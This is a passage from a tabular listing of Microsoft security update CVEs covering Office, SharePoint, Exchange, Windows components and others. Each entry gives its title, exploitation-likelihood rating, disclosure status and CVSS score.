CVE-2026-63524	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63529	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-64899	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63515	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65657	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65656	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65661	Microsoft Office Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-63532	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63533	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64898	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64903	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64904	Microsoft Office Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-64909	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64910	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64911	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70130	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-57105	Microsoft Office SharePoint Spoofing Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-70306	Microsoft Office SharePoint Spoofing Vulnerability	Exploitation Less Likely	No	9.3
CVE-2026-63521	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-70319	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63528	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-63530	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63531	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-64917	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-66806	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-66810	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63518	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70311	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63525	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63527	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64905	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64907	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64915	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65680	Microsoft OneDrive for MacOS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-70329	Microsoft Outlook Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62882	Microsoft Outlook Spoofing Vulnerability	Exploitation Unlikely	No	4.3
CVE-2026-70313	Microsoft PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70324	Microsoft SharePoint Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70321	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62827	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70355	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.3
CVE-2026-64921	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70326	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62837	Microsoft SharePoint Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-63514	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-63520	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation More Likely	No	8.1
CVE-2026-65658	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65663	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65665	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-64901	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-66805	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-66808	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62829	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-63516	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-64922	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-65660	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-64897	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-64900	Microsoft SharePoint Server Spoofing Vulnerability	N/A	No	7.3
CVE-2026-64902	Microsoft SharePoint Server Spoofing Vulnerability	N/A	No	4.6
CVE-2026-64916	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-58639	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62839	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62917	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-63512	Microsoft SharePoint Server Tampering Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-65767	Microsoft Teams for Android and iOS Spoofing Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65769	Microsoft Teams iOS Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-65768	Microsoft Teams Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70310	Microsoft Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58651	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68809	Powerpoint Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-70312	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70316	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70325	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70320	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70322	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

Server Software vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-62912	Microsoft Exchange Server Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62910	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.2
CVE-2026-65813	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62911	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-62913	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62915	Microsoft Exchange Server Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62914	Microsoft Exchange Server Spoofing Vulnerability	Exploitation Less Likely	No	7.3

SQL Server vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-65811	Power BI Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8

System Center vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-54123	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

Windows vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-65777	Active Directory Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-59130	AMD Zen Information Disclosure Vulnerability	Exploitation Less Likely	No	5.6
CVE-2026-59131	AMD Zen Information Disclosure Vulnerability	Exploitation Less Likely	No	5.6
CVE-2026-61357	Application Information Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62892	Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-65786	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65787	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65788	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-59136	Microsoft COM for Windows Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62698	Microsoft Digest Authentication Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-59133	Microsoft High Performance Computing (HPC) Pack Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-59124	Microsoft High Performance Computing (HPC) Pack Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-62784	Microsoft Local Security Authority Server (lsasrv) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62815	Microsoft QUIC Remote Code Execution Vulnerability	N/A	No	9.8
CVE-2026-59138	Microsoft Remote Registry Service Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61345	Microsoft Remote Registry Service Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66804	Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-59135	Microsoft Windows Search Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65814	Microsoft Windows Storage Port Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-6726	MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse	Exploitation Less Likely	No	7.9
CVE-2026-6727	MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-65671	Remote Access API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65672	Remote Access API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42976	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59134	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-61352	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-61363	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-62824	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54113	Remote Procedure Call Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62781	RPC Runtime Library Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-59125	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.0
CVE-2026-62746	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62798	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62743	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62786	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-61358	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62818	Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-49179	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-61348	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-68820	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Detected	No	7.0
CVE-2026-70307	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-65783	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-65779	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-65780	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-65778	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-65782	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-65781	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62908	Windows Backup Engine Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-61927	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-61934	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62705	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62722	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62713	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62771	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62728	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62772	Windows Container Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62775	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-72971	Windows Container Isolation FS Filter Driver (unionfs.sys) Tampering Vulnerability	Exploitation Unlikely	Yes	5.5
CVE-2026-61936	Windows Defender Firewall Service Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62893	Windows Deployment Services TFTP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-62747	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62710	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-66802	Windows Device Health Attestation (DHA) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-71331	Windows Device Health Attestation (DHA) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-65785	Windows DHCP Client Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62755	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62736	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61361	Windows DHCP Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62812	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62761	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62776	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62803	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62807	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62718	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62715	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62716	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62742	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62745	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62720	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62714	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62814	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62823	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-61923	Windows Display Enhancement Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70304	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-70330	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-62769	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-62778	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62881	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-62883	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-65795	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-65797	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-65799	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-65798	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-62787	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62817	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62820	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62878	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-65789	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-61920	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.6
CVE-2026-61932	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62894	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62888	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-61933	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62703	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-59128	Windows Encrypting File System (EFS) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-59126	Windows Event Logging Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-59137	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61347	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-65662	Windows GDI Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61360	Windows GDI Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62890	Windows GDI+ Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62709	Windows GDI+ Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62822	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62702	Windows Graphics Kernel Denial of Service Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-61346	Windows Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62774	Windows Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-61928	Windows Hello Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62750	Windows HTTP Protocol Stack Tampering Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-61937	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62753	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62735	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62739	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62741	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62811	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8

CVE-2026-61368	Windows Hyper-V Information Disclosure Vulnerability	Exploitation Less Likely	No	5.0
CVE-2026-62740	Windows Imaging Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-54984	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-59127	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61925	Windows Installer Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70344	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70345	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70346	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70347	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61938	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62768	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65774	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65681	Windows iSCSI Target Service Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-65796	Windows iSCSI Target Service Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-65679	Windows iSCSI Target Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-65791	Windows iSCSI Target Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-62754	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62766	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-62773	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62752	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61930	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62737	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-61929	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-62708	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.4
CVE-2026-62749	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62780	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62788	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-65773	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-66799	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62785	Windows LDAP – Lightweight Directory Access Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62795	Windows LDAP – Lightweight Directory Access Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62777	Windows License Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50472	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62738	Windows Management Instrumentation Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70348	Windows Management Services Denial of Service Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62719	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62717	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65790	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62688	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62693	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62707	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56174	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56179	Windows Network Address Translation (NAT) Spoofing Vulnerability	Exploitation Less Likely	No	8.3
CVE-2026-61366	Windows Network Connection Broker Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68819	Windows Network File System Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-62797	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62700	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62880	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61350	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-62796	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65784	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62793	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62887	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62696	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62751	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62690	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62816	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62783	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62758	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61924	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61918	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61921	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61356	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61367	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62692	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61364	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61365	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62819	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62779	Windows Schannel Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62757	Windows Schannel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-62889	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-61355	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62770	Windows Shell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62799	Windows SMB Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62782	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-65794	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
